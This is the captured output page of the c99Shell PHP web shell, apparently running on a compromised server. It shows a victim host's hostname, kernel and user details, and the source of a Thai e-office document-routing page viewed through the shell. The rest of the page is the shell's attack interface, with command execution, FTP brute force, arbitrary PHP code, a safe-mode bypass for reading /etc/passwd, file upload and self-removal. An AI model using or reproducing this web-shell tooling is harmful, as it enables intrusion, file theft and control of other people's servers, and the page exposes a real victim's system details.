!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/directorBCNU/eoffice/admin/   drwxr-xr-x
Free 50.89 GB of 127.8 GB (39.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     showSendDocToPs2SR2.php (2.81 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<html>
<head>
<script language="javascript" src="../source/calendarDateInput.js"></script>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<table width="100%" height="70%" border="0" align="center" cellpadding="0" cellspacing="0"  style="border-collapse:collapse">
  <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_2"]; ?>" height=22 valign="top"> 
    <td align="left" colspan="2">&nbsp;ผู้รับหนังสือ</td>
  </tr>
 <tr>
 <td bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_17"]; ?>" valign="top">
 <div style="overflow: auto; height: 100%; width: 100%;">
  <table bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_17"]; ?>"  width="94%" border="0" cellpadding="0" cellspacing="0" align="center">
  <? $oRs8->SearchByDrsFromDrsID($oRs->DrsID);
        while(
$oRs8->GetRecord()){   
     
?>
  <tr valign="top"> 
    <td height="22" valign="top">&nbsp;&nbsp; 
    <?     
                
if($oRs8->personId==0){
                        
$oDlc8->SearchByKey($oRs8->DlcID); $oDlc8->GetRecord();  
                        
$oDP->SearchByKey($oDlc8->deptId); $oDP->GetRecord();  
                        
$oPS->SearchByKey($oRs8->DrsReceivePersonId); $oPS->GetRecord(); 
                        if(
$oRs8->DrsReceivePersonId=="0"){
                            echo 
"-&nbsp;สารบรรณย่อย";
                        }else{
                            echo 
"-&nbsp;".GetPrefix($oPS->prefixId).$oPS->fName."&nbsp;".$oPS->lName;
                        }
                            echo 
"&nbsp;&nbsp;(".$oDP->deptName.")";
                }else{
                        
$oPS->SearchByKey($oRs8->personId); $oPS->GetRecord(); 
                        echo 
"-&nbsp;".GetPrefix($oPS->prefixId).$oPS->fName."&nbsp;".$oPS->lName;
                        if(
$oRs8->DrsMainPs=="Y"){ echo "&nbsp;<font color=\"#029b0a\">[ผู้รับผิดชอบหลัก]</font>";   $HaveDrsMainPS=1;  }
                        if(
$oRs8->DrsSendToPs=="Y"){
                            echo 
"&nbsp;<font color=\"#FF0000\">[ส่งด่วน]</font>";
                        }
                }
                if(
$oRs8->DrsSendDocNew !="0000-00-00 00:00:00"){
                    echo 
"<br>&nbsp;&nbsp;&nbsp;&nbsp;<font color=\"#FF0000\">[ส่งเพิ่มเติม] ";
                    list(
$DocD,$DocT) = split(' ',$oRs8->DrsSendDocNew);
                    echo 
abbreDate2($DocD,'/')."&nbsp;".a2th($DocT); 
                    echo 
"</font>";
                }
    
?>
     </td>
  </tr>
  <? }  ?>
  <?
  $x
=0;
  
$oTsr->SearchBytsr_DrsID($oRs->DrsID);
  while(
$oTsr->GetRecord()){
      
$oCd->SearchByKey($oTsr->tsr_to_node);
    
$oCd->GetRecord();
     
?>
  <tr valign="top"> 
    <td height="22" valign="top">&nbsp;&nbsp; 
    <?
          
echo "-&nbsp;".$oCd->collegeAbbr;
        if(
$oTsr->tsr_SendNew!="0000-00-00 00:00:00"){
                list(
$DocD2,$DocT2) = split(' ',$oTsr->tsr_SendNew); 
                echo 
" [ส่งเพิ่มเติม ".abbreDate2($DocD2,'/')."&nbsp;".a2th($DocT2)."]";
        }
    
?>
     </td>
  </tr>
  <? $x++; }  
  if(
$x!=0){ 
  
?>
  <tr><td align="right"><a href="sendReceiveDoc.php"><img src="../picture/search_ico.gif" border="0">ติดตามหนังสือส่งอิเล็กทรอนิกส์</a></td></tr>
  <? ?>
  </table>
  </div>
 </td>
 </tr>
</table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.009 ]--